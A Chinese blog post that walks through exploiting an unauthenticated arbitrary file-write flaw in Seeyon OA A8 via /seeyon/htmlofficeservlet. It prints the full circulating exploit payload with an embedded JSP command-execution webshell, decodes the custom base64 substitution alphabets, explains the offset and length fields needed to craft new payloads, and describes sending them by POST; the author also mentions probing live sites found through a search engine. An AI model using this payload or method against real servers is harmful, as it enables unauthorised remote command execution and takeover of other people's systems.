致远oa漏洞payload分析

————背景说明————

致远 OA 系统中,A8的一些版本存在任意文件写入漏洞。攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet 以POST方式上传特殊构造的数据,以此向目标服务器写入任意文件,包括webshell,目前大多数使用某payload上传cmd马,写入成功后可执行任意系统命令进而控制目标服务器。

由于我也遇到过相关的站,搜索到相同的payload。其实也不是专门搜索这个playload,主要是网上搜这个漏洞,复现博客给的就只有这个playload,这就很尴尬,作为一个辣鸡,跟代码分析的话,代码且不说我没有,有我也不怎么会,我不会,可是我又不想用这个playload,名字test123456.jsp太丑了,比较爱传吴彦祖.jsp,陈冠希.jsp这种,而且可以传文件,传个马连接冰蝎不香吗,cmd马我不太会用。所以,我就开始整这个payload。

————实验过程————

首先检测这个漏洞,主要是访问url:http://xxx/seeyon/htmlofficeservlet,看是否有如下相关界面。其实也容易,因为要么就没文件,要么就空白,要么就是有界面。

 

如果有了这个界面,那其实也啥用没有,因为网上很多说有这个界面就代表这个漏洞检测存在了,其实不是,我试了十来个站,实践证明有这个界面也是不一定存在这个洞的。

不过可能是在之前,确实是有这个界面就是存在这个漏洞,但是这个漏洞爆出来以后,各种补救措施以及魔改,所以导致现在有这个界面也不一定有洞了。

这是一个任意文件上传漏洞,通过传马getshell,以下是网上广为流传的payload:

DBSTEP V3.0     355             0               666             
DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd33445".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce

(网上DBSTEP=PLMLIKLV是在第一行,我试了几次觉得这个应该放在第二行在后续构造其他payload的时候会好一些)

通过构造post请求数据包(后面会讲),就可以产生如下效果

http://www.xxx.com/seeyon/test123456.jsp?pwd=asasd3344&cmd=ipconfig

不过目前清一色传的都是这个。在背景里说了,我是不愿意的,我想传陈冠希.jsp,所以需要了解一下这个payload具体的内容。

首先是他编码方式,这个编码方式我就直接说了,因为我也是看某大佬分析的,让我分析我也不会,这个编码方式是base64的变种。

(大佬的文章链接:https://paper.seebug.org/964/)

大概意思主要是围绕这两个关键的代码

public String GetMsgByName(String FieldName) {
    int i = 0;
    int j = 0;
    String mReturn = "";
    String mFieldName = FieldName.trim().concat("=");
    i = this._$906.indexOf(mFieldName);
    if (i != -1) {
        j = this._$906.indexOf("\r\n", i + 1);
        i += mFieldName.length();
        if (j != -1) {
            String mFieldValue = this._$906.substring(i, j);
            mReturn = this.DecodeBase64(mFieldValue);
            return mReturn;
        }
        return mReturn;
    }
    return mReturn;
}
public String DecodeBase64(String Value) {
    ByteArrayOutputStream o = new ByteArrayOutputStream();
    String m = "";
    byte[] d = new byte[4];
    try {
        int count = 0;
        byte[] x = Value.getBytes();
        while (count < x.length) {
            for (int n = 0; n <= 3; ++n) {
                if (count >= x.length) {
                    d[n] = 64;
                } else {
                    int y = this._$903.indexOf(x[count]);
                    if (y < 0) {
                        y = 65;
                    }
                    d[n] = (byte)y;
                }
                ++count;
            }
            o.write((byte)(((d[0] & 63) << 2) + ((d[1] & 48) >> 4)));
            if (d[2] == 64) continue;
            o.write((byte)(((d[1] & 15) << 4) + ((d[2] & 60) >> 2)));
            if (d[3] == 64) continue;
            o.write((byte)(((d[2] & 3) << 6) + (d[3] & 63)));
        }
    }
    catch (StringIndexOutOfBoundsException e) {
        this._$907 = this._$907 + e.toString();
        System.out.println(e.toString());
    }
    try {
        m = o.toString(this.Charset);
    }
    catch (UnsupportedEncodingException ea) {
        System.out.println(ea.toString());
    }
    return m;
}

好,代码看完了,你们一定都看懂了,那就这样。

其实按我个人的理解,这可以理解成进行了base64以后,又进行一次替换加密,把原本的base64编码结果替换成了另一种结果。

具体的对应结果如下:

base64密文:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=

变换后密文:FxcYg3UZvtEz50Na8G476=mLDI/jVfC9dsoMAiBhJSu2qPKe+QRbXry1TnkWHlOpw

那么,到这里编码就搞定了,错了,其实并没有。

由于这个oa源码不是开源的,所以这只是一套很老的对应结果,现在的替换应该是已经被改过了,参考大佬的分析,现在的对应结果如下:

base64密文:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=

变换后密文:gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6

那么,到这里编码就搞定了,所以payload里的内容,比如filename就知道是个啥了

写了一个替换程序

 

然后解密出的base64进行解码,得到如下:

 

 

那么接下来改文件名,再编码再替换,不就可以了,我可真是个小天才。

 

 

 

其实也不太行,把文件名改了,把文件内容换了,并没有成功上传文件,这里涉及了两个数字参数的分析。

DBSTEP V3.0 355 0 666 

首先是355,在这里意思是从这个payload,第355个字符开始读内容写入文件。

不过我试了一下,发现原payload文件内容之前的所有部分字数统计有399,那这是为什么呢。

 

想了一下会不会第一行只是参数设定,并不在计算范围内,所以我淘汰了第一行,进行第二次字符统计。

这时有335个字符了,还是不到355个,思考了一下,数了一共十行,每行就是少两个,换行符呗,小天才实锤。

接下来是666,666在payload中是读取要写入的内容长度,就是要写的东西的长度。

于是我统计了原payload里的这个马的内容,发现是698个字符,又对不上,我又傻了。

 

仔细看了一下,发现最后面多了一串hash

我寻思hash在这个马里写进入好像也没啥用,应该不是要写的,所以没统计这部分,然后发现字符对上了,小天才二次实锤

那么这个hash是个啥玩意,我搜了一下,发现他是这个jsp的md5,好像没啥用。

 那么就都差不多了,感觉其他的内容也不重要,就通过编码和这两个参数构造了payload传了测试的txt

DBSTEP V3.0     347             0               18             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdNEQ/qHOuNg66
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
 my name is wuyanzu

 

构造post请求包的方式就是,访问htmlofficeservlet的时候,抓个包

然后改变请求方式

 

 

 接着带上payload即可。

 

 由于是fofa上找的目标,就不传马了,影响不好,这方面我还是很严肃的。

 我装的。

 

最后,知道payload的原理,就可以自己写exp或者工具传想要的马了,我没写。

最后的最后,其实那串hash好像还是有用的,因为有时候读取的时候发现初始字符或者最后几个字符没有写进去,用hash填充,应该是为了凑字数。

——结束撒花——

posted @ 2021-01-25 15:46  hguone  阅读(1019)  评论(0编辑  收藏  举报